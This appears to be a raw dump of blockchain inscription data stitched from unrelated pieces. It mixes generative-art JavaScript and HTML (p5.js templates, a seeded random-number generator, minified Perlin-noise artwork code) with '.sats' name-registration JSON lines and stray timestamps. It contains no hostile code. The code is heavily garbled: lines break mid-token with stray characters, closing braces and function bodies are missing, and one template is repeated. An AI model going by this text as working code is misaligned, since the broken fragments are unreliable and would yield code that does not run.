if(x3>1000){x3-=tr;bmp++}
if(y3<0){y3+=tr;bmp++}
if(y3>1000/ratio){y3-=tr;bmp++}
if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; }
else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;}
if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M
triharder(x3,y3, x1,y1);
if(ri(100)>20) triharder(x3,y3, x2,y2);
const autoDownloadCanvas = async () => {
const element = document.createElement('a')
element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`)
element.style.display = 'none'
document.body.appendChild(element)
let imageBlob = null
imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png'))
element.setAttribute('href', window.URL.createObjectURL(imageBlob, {
document.body.removeChild(element)
document.addEventListener('keypress', async (e) => {
e = e || window.event
if (e.key === 's') autoDownloadCanvas()
if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() }
function drawEllipse(ctx,x,y,rx,ry,fill) {
ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI);
if (fill) {ctx.fillStyle = fill;ctx.fill();}
function dl(ctx,lx,ly,ex,ey,stroke,width) {
if (stroke) {ctx.strokeStyle = stroke;}
if (width) {  ctx.linM
ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke();
if(cp==12)artcols=['#EDECE0','#303030','#880808'];
if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B'];
if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41'];
if(cp==1) artcols=['#25201E','#D3A252','#686C22'];
if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026'];
if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D'];
if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A'];
if(cp==5) artcols= ['#B8B8B3','#474747','M
if(cp==6) artcols= ['#A6B2C7','#323642','#394A69'];
if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD'];
if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D'];
if(cp==9) artcols= ['#EDECE0','#944645','#F25D34'];
if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933'];
function ri( x){  return Math.floor(mathRand()*x);}
function rir(x,y){ let nr = (y - x) ; return  Math.floor((mathRand()*nr) + x); }
text/html;charset=utf-8
    <meta charset="UTF-8">
    Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below.
    Are we missing an important library? Let us know @generative_xyz.
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <!-- c2.min.js@1.0.0
    <script sandbox="allow-scripts" type="text/javascript" srM
c="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script>
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
    <!-- p5.grain.js@0.6.1
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>
    <!-- threejs@r124
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/aM
jax/libs/three.js/r124/three.min.js"></script>
    <!-- tonejs@14.8.49
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <!-- svgjs@3.1.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script>
    <!-- aframejs@1.2.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aM
frame/1.2.0/aframe.min.js"></script>
    <!-- babylonjs@5.47.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script>
    <!-- paperjs@0.12.17
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script>
    <!-- regljs@2.1.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.comM
/ajax/libs/regl/2.1.0/regl.min.js"></script>
    <script type="text/javascript">
 Add your script here
var colorPalettes = [
  ['#fafa6e', '#2A4858'],
  ['#9C27B0', '#FFEB3B'],
  ['#00BCD4', '#FF5722'],
  ['#191970', '#FF69B4', '#228B22', '#FFFF00'],
  ['#8BC34A', '#3F51B5', '#F44336'],
  ['#009688', '#FFC107', '#795548'],
  ['#4CAF50', '#FFC107', '#9C27B0'],
  ['#00BCD4', '#FFC107', '#9C27B0'],
88', '#FFC107', '#E91E63'],
  ['#ff0000', '#0000ff', '#00ff00'],
  ['#ff0000', '#0000ff', '#00ff00'],
  ['green', 'blue', 'orange', 'green']
var point_count = 700;
var pointSpace = 12;
var spaceRatio = 0.5;
var maxAttempts = 100;
var densityRatio = 0.5;
var length1 = 10000;
var length2 = 10000;
  [700, 12, 0.95, 0.5, 0.5],
  [700, 12, 0.95, 0.5, 0.5],
  [700, 12, 0.95, 0.5, 0.5],
700, 12, 0.95, 0.5, 0.5],
  [900, 8, 0.95, 0.5, 0.5],
  [700, 8, 0.78, 0.5, 0.5],
  [500, 5, 0.85, 0.5, 0.5],
  [800, 12, 0.9, 0.2, 0.5],
  [700, 12, 0.95, 0.5, 0.5],
  [700, 12, 0.95, 0.5, 0.5]
function mathRandSelect(array) {
  return array[round(mathRand() * (array.length - 1))];
function mathRnd(min, max) {
  return map(mathRand(), 0, 1, min, max)
function resizeCanvasStyle(){
    canvas.style("position", "absolute");
 the canvas element's width and height properties to scale it
    canvas.style("width", "100%");
    canvas.style("height", "100%");
    // Set the canvas element's top and left properties to center it horizontally and vertically
    canvas.style("top", "0");
    canvas.style("left", "0");
    canvas.style("bottom", "0");
    canvas.style("right", "0");
    canvas.style("margin", "auto");
    // Set the transform property to move the canvas element to the center of the page
    canvas.style("transform", "translatM
      canvas.style("width", "100%");
     canvas.style("height", "100%");
     // Set the canvas element's top and left properties to center it horizontally and vertically
     canvas.style("top", "0");
     canvas.style("left", "0");
     canvas.style("bottom", "0");
     canvas.style("right", "0");
     canvas.style("margin", "auto");
     // Calculate the scale factor based on the window size and the canvas size
     let scaleFactor = Math.min(window.innerWidth / 400, window.innerHeight / 600M
     // Set the transform property to scale the canvas element based on the scale factor
     canvas.style("transform", `scale(${scaleFactor})`);
  let urlParams = getURLParams();
  if (urlParams.res) {
    density = round(int(urlParams.res));
  noiseSeed(mathRand() * 99999);
  randomSeed(mathRand() * 99999);
  canvas = createCanvas(400, 600);
  canvas.addClass("canvasNewCSS");
  resizeCanvasStyle(canvasW,canvasH);
  pixelDensity(density);
  angleMode(DEGREES);
mathRandSelect(colorPalettes);
  noiseDetail(8, 0.5);
  print(colorPalette);
  colorPalette = chroma.scale(colorPalette).mode('lch').colors(12);
  field = mathRandSelect(fields);
  point_count = field[0];
  pointSpace = field[1];
  offset = field[2];
  spaceRatio = field[3];
  densityRatio = field[4];
  variationMode = round(mathRandSelect([1, 2, 3, 4, 5, 6, 7, 8]));
  var maxAttempts = 1000;
  for (var i = 0; i < point_count; i++) {
    var attempts = 0;
    while (attempts < maxAttempts) {
    var point_x = mathRnd(width * (1 - offset), width * offset);
      var point_y = mathRnd(height * (1 - offset), height * offset);
      var point_r = mathRnd(pointSpace * spaceRatio, pointSpace);
      var point_l = mathRnd(length1, length2);
      var point_color = mathRandSelect(colorPalette);
      var overlapp = false;
      for (var j = 0; j < i; j++) {
        if (points[j]) {
          var x2 = points[j].x;
          var y2 = points[j].y;
          var r2 = points[j].r;
          if (dist(point_x, poM
int_y, x2, y2) < (r2 + point_r) / 2 * 1.4) {
            overlapp = true;
      if (!overlapp) {
        append(points, {
          x: point_x,
          y: point_y,
          c: point_color,
          r: point_r,
          l: point_l
    if (attempts >= maxAttempts) {
      console.warn("Could not place point " + i + " after " + maxAttempts + " attempts.");
  for (var p = 0; p < points.length;M
    fill(points[p].c);
    rectMode(CENTER);
    translate(points[p].x, points[p].y);
    rotate(mathRnd(360));
    translate(-points[p].x, -points[p].y);
  for (var i = 0; i < points.length; i++) {
    if (points[i].l > 0) {
      let x = points[i].x;
      let y = points[i].y;
      let pointColor = points[i].c;
      let newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
      let newY = y + mM
ap(noise(log(y), log(x)), 0, 1, -space, space / 2);
      switch (variationMode) {
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), sin(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(cos(x), log(y)), 0, 1, -spaM
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(sin(x), cos(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(cos(y), sin(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(M
x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
      let maxR = pointSpace;
      if (newX > width * (1 - offset) &&M
 newX < width * offset) {
        if (newY > height * (1 - offset) && newY < height * offset) {
          let v1 = createVector(x, y);
          let v2 = createVector(newX, newY);
          let angleBetween = v1.angleBetween(v2);
          rotate(angleBetween / space);
          strokeWeight(0.7);
          stroke(pointColor)
          fill(pointColor);
          maxR = points[i].r;
          for (var p = 0; p < i; p++) {
            maxR = min(maxR, dist(x, y, points[p].x, poM
          noStroke();
          circle(x, y, maxR);
      points[i].x = newX;
      points[i].y = newY;
      points[i].r = maxR;
      points[i].l--;
  if (millis()>25000) {
 Add your script here
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SM
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + M
pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = MathM
.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0,M
 (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
            margin: 0px;
<script type="text/javascript">
    const rand = mathRand();
    function T1(rand) {
        // calculate rarity by yourself
        if (rand > 0.5) {
            return true;
            return false
    // window.$generativeTraits contain list traits for token
    // you need to populate a $generativeTraits object in the window object
    // window.$generativeTraits = {
    //     "T1": T1(rand),
    // console.log(window.$generativeTraits)
 Add your code here
    // const container = document.createElement("div")
    // container.innerHTML = "<span>seed: " + seed + "</span><br>";
    // document.body.prepend(container)
 Add your code here
text/plain;charset=utf-8
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"btc.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"mojito.sats"}h!
FjDOUT:E02C72E6E9CE7C4AC70FB5385FB6407CFCC41F2D5B238152A073123BE3D848DA
FjDOUT:67A6D7C49BCD8D554113FBC4F727E1A25974850784E9460DA2F7314802B5569E
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11002.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11001.sats"}h!
2023-03-02T14:43:31+00:00?
2023-03-02T14:43:31+00:00N
2023-03-02T14:43:41+00:00
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11003.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11004.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11005.sats"}h!
!Powered by Luxor Tech1002
text/html;charset=utf-8
    <meta charset="UTF-8">
    Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below.
    Are we missing an important library? Let us know @generative_xyz.
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <!-- c2.min.js@1.0.0
    <script sandbox="allow-scripts" type="text/javascript" srM
c="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script>
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
    <!-- p5.grain.js@0.6.1
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>
    <!-- threejs@r124
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/aM
jax/libs/three.js/r124/three.min.js"></script>
    <!-- tonejs@14.8.49
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <!-- svgjs@3.1.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script>
    <!-- aframejs@1.2.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aM
frame/1.2.0/aframe.min.js"></script>
    <!-- babylonjs@5.47.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script>
    <!-- paperjs@0.12.17
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script>
    <!-- regljs@2.1.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.comM
/ajax/libs/regl/2.1.0/regl.min.js"></script>
    <script type="text/javascript">
 Add your script here
var colorPalettes = [
  ['#fafa6e', '#2A4858'],
  ['#9C27B0', '#FFEB3B'],
  ['#00BCD4', '#FF5722'],
  ['#191970', '#FF69B4', '#228B22', '#FFFF00'],
  ['#8BC34A', '#3F51B5', '#F44336'],
  ['#009688', '#FFC107', '#795548'],
  ['#4CAF50', '#FFC107', '#9C27B0'],
  ['#00BCD4', '#FFC107', '#9C27B0'],
88', '#FFC107', '#E91E63'],
  ['#ff0000', '#0000ff', '#00ff00'],
  ['#ff0000', '#0000ff', '#00ff00'],
  ['green', 'blue', 'orange', 'green']
var point_count = 700;
var pointSpace = 12;
var spaceRatio = 0.5;
var maxAttempts = 100;
var densityRatio = 0.5;
var length1 = 10000;
var length2 = 10000;
  [700, 12, 0.95, 0.5, 0.5],
  [700, 12, 0.95, 0.5, 0.5],
  [700, 12, 0.95, 0.5, 0.5],
700, 12, 0.95, 0.5, 0.5],
  [900, 8, 0.95, 0.5, 0.5],
  [700, 8, 0.78, 0.5, 0.5],
  [500, 5, 0.85, 0.5, 0.5],
  [800, 12, 0.9, 0.2, 0.5],
  [700, 12, 0.95, 0.5, 0.5],
  [700, 12, 0.95, 0.5, 0.5]
function mathRandSelect(array) {
  return array[round(mathRand() * (array.length - 1))];
function mathRnd(min, max) {
  return map(mathRand(), 0, 1, min, max)
function resizeCanvasStyle(){
    canvas.style("position", "absolute");
 the canvas element's width and height properties to scale it
    canvas.style("width", "100%");
    canvas.style("height", "100%");
    // Set the canvas element's top and left properties to center it horizontally and vertically
    canvas.style("top", "0");
    canvas.style("left", "0");
    canvas.style("bottom", "0");
    canvas.style("right", "0");
    canvas.style("margin", "auto");
    // Set the transform property to move the canvas element to the center of the page
    canvas.style("transform", "translatM
      canvas.style("width", "100%");
     canvas.style("height", "100%");
     // Set the canvas element's top and left properties to center it horizontally and vertically
     canvas.style("top", "0");
     canvas.style("left", "0");
     canvas.style("bottom", "0");
     canvas.style("right", "0");
     canvas.style("margin", "auto");
     // Calculate the scale factor based on the window size and the canvas size
     let scaleFactor = Math.min(window.innerWidth / 400, window.innerHeight / 600M
     // Set the transform property to scale the canvas element based on the scale factor
     canvas.style("transform", `scale(${scaleFactor})`);
  let urlParams = getURLParams();
  if (urlParams.res) {
    density = round(int(urlParams.res));
  noiseSeed(mathRand() * 99999);
  randomSeed(mathRand() * 99999);
  canvas = createCanvas(400, 600);
  canvas.addClass("canvasNewCSS");
  resizeCanvasStyle(canvasW,canvasH);
  pixelDensity(density);
  angleMode(DEGREES);
mathRandSelect(colorPalettes);
  noiseDetail(8, 0.5);
  print(colorPalette);
  colorPalette = chroma.scale(colorPalette).mode('lch').colors(12);
  field = mathRandSelect(fields);
  point_count = field[0];
  pointSpace = field[1];
  offset = field[2];
  spaceRatio = field[3];
  densityRatio = field[4];
  variationMode = round(mathRandSelect([1, 2, 3, 4, 5, 6, 7, 8]));
  var maxAttempts = 1000;
  for (var i = 0; i < point_count; i++) {
    var attempts = 0;
    while (attempts < maxAttempts) {
    var point_x = mathRnd(width * (1 - offset), width * offset);
      var point_y = mathRnd(height * (1 - offset), height * offset);
      var point_r = mathRnd(pointSpace * spaceRatio, pointSpace);
      var point_l = mathRnd(length1, length2);
      var point_color = mathRandSelect(colorPalette);
      var overlapp = false;
      for (var j = 0; j < i; j++) {
        if (points[j]) {
          var x2 = points[j].x;
          var y2 = points[j].y;
          var r2 = points[j].r;
          if (dist(point_x, poM
int_y, x2, y2) < (r2 + point_r) / 2 * 1.4) {
            overlapp = true;
      if (!overlapp) {
        append(points, {
          x: point_x,
          y: point_y,
          c: point_color,
          r: point_r,
          l: point_l
    if (attempts >= maxAttempts) {
      console.warn("Could not place point " + i + " after " + maxAttempts + " attempts.");
  for (var p = 0; p < points.length;M
    fill(points[p].c);
    rectMode(CENTER);
    translate(points[p].x, points[p].y);
    rotate(mathRnd(360));
    translate(-points[p].x, -points[p].y);
  for (var i = 0; i < points.length; i++) {
    if (points[i].l > 0) {
      let x = points[i].x;
      let y = points[i].y;
      let pointColor = points[i].c;
      let newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
      let newY = y + mM
ap(noise(log(y), log(x)), 0, 1, -space, space / 2);
      switch (variationMode) {
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), sin(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(cos(x), log(y)), 0, 1, -spaM
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(sin(x), cos(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(cos(y), sin(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(M
x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
      let maxR = pointSpace;
      if (newX > width * (1 - offset) &&M
 newX < width * offset) {
        if (newY > height * (1 - offset) && newY < height * offset) {
          let v1 = createVector(x, y);
          let v2 = createVector(newX, newY);
          let angleBetween = v1.angleBetween(v2);
          rotate(angleBetween / space);
          strokeWeight(0.7);
          stroke(pointColor)
          fill(pointColor);
          maxR = points[i].r;
          for (var p = 0; p < i; p++) {
            maxR = min(maxR, dist(x, y, points[p].x, poM
          noStroke();
          circle(x, y, maxR);
      points[i].x = newX;
      points[i].y = newY;
      points[i].r = maxR;
      points[i].l--;
  if (millis()>25000) {
 Add your script here
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SM
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + M
pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = MathM
.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0,M
 (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
            margin: 0px;
<script type="text/javascript">
    const rand = mathRand();
    function T1(rand) {
        // calculate rarity by yourself
        if (rand > 0.5) {
            return true;
            return false
    // window.$generativeTraits contain list traits for token
    // you need to populate a $generativeTraits object in the window object
    // window.$generativeTraits = {
    //     "T1": T1(rand),
    // console.log(window.$generativeTraits)
 Add your code here
    // const container = document.createElement("div")
    // container.innerHTML = "<span>seed: " + seed + "</span><br>";
    // document.body.prepend(container)
 Add your code here
text/plain;charset=utf-8
text/plain;charset=utf-8
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>"Rays" by Pawe
 Dudko | pdudko.com</title>
    <script id="snippet-random-code" type="text/javascript">
        // not editable
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() *M
 alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.lengthM
; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
    u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        let mathRand = sfc32(...cyrb128(seed));
            margin: 0;
            padding: 0;
            overflow: hidden;
  <canvas id="myCanvas"></canvas>
<script type="text/jaM
console.log("seed:",seed);class Rnd{rD(){return mathRand()}rN(r,t){return r+(t-r)*this.rD()}rI(r,t){return Math.floor(this.rN(r,t+1))}rB(r){return this.rD()<r}}const R=new Rnd;class Perlin{constructor(){this.R=new Rnd,this.grad3=[[1,1,0],[-1,1,0],[1,-1,0],[-1,-1,0],[1,0,1],[-1,0,1],[1,0,-1],[-1,0,-1],[0,1,1],[0,-1,1],[0,1,-1],[0,-1,-1]],this.p=[];for(var r=0;r<256;r++)this.p[r]=Math.floor(256*this.R.rD());for(this.perm=[],r=0;r<512;r++)this.perm[r]=this.p[255&r];this.simplex=[[0,1,2,3],[0,1,3M
,2],[0,0,0,0],[0,2,3,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,3,0],[0,2,1,3],[0,0,0,0],[0,3,1,2],[0,3,2,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,3,2,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,0,3],[0,0,0,0],[1,3,0,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,3,0,1],[2,3,1,0],[1,0,2,3],[1,0,3,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,3,1],[0,0,0,0],[2,1,3,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,1,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,0,1,2],[3,0,2M
,1],[0,0,0,0],[3,1,2,0],[2,1,0,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,1,0,2],[0,0,0,0],[3,2,0,1],[3,2,1,0]]}dot(r,t,e){return r[0]*t+r[1]*e}noise(r,t){var e,i,a=(r+t)*(.5*(Math.sqrt(3)-1)),o=Math.floor(r+a),l=Math.floor(t+a),n=(3-Math.sqrt(3))/6,s=(o+l)*n,g=r-(o-s),c=t-(l-s);g>c?(e=1,i=0):(e=0,i=1);var d=g-e+n,f=c-i+n,p=g-1+2*n,A=c-1+2*n,m=255&o,F=255&l,E=this.perm[m+this.perm[F]]%12,u=this.perm[m+e+this.perm[F+i]]%12,R=this.perm[m+1+this.perm[F+1]]%12,h=.5-g*g-c*c,B=.5-d*d-f*f,D=.5-p*p-A*A;return 70*((h<0?0:(h*=h)*h*M
this.dot(this.grad3[E],g,c))+(B<0?0:(B*=B)*B*this.dot(this.grad3[u],d,f))+(D<0?0:(D*=D)*D*this.dot(this.grad3[R],p,A)))}}const perlin=new Perlin;function map(r,t,e,i,a){return i+(a-i)*(r-t)/(e-t)}let bckCol,dim=Math.min(window.innerWidth,window.innerHeight),spots=R.rI(10,25),radius=[],m=[],mOff=1e-4*R.rN(1,7),x=[],y=[],z=[],S=30,sRot=[],b=1,bOffset=R.rN(0,.005),bMag=1,xOff=[],yOff=[],pC=[],noiseFeat=mathRand()>.79,pFeat=R.rI(1,24),angleFeat=mathRand()>.87?0:mathRand()<.1?1:2,colorBackground=R.rI(0,1);const PI=Math.M
PI,TWO_PI=2*PI;let blurV=[];blurV=blurV=0==angleFeat?[R.rN(0,R.rN(0,1)),0]:1==angleFeat?[0,R.rN(0,R.rN(0,1))]:[R.rN(-.9,.9),R.rN(0,.9)],Math.pow(blurV[0],2)+Math.pow(blurV[1],2)<.18&&(blurV[0]>blurV[1]?blurV[0]+=.35:blurV[1]+=.35);const vs2="attribute vec2 a_position;attribute vec2 a_texCoord;uniform vec2 u_resolution;varying vec2 v_texCoord;\nvoid main(){vec2 clipSpace=a_position/u_resolution*2.0-1.0;gl_Position=vec4(clipSpace*vec2(1,-1),0,1);v_texCoord=a_texCoord;}",fs2="precision mediump float;uniform sampler2D M
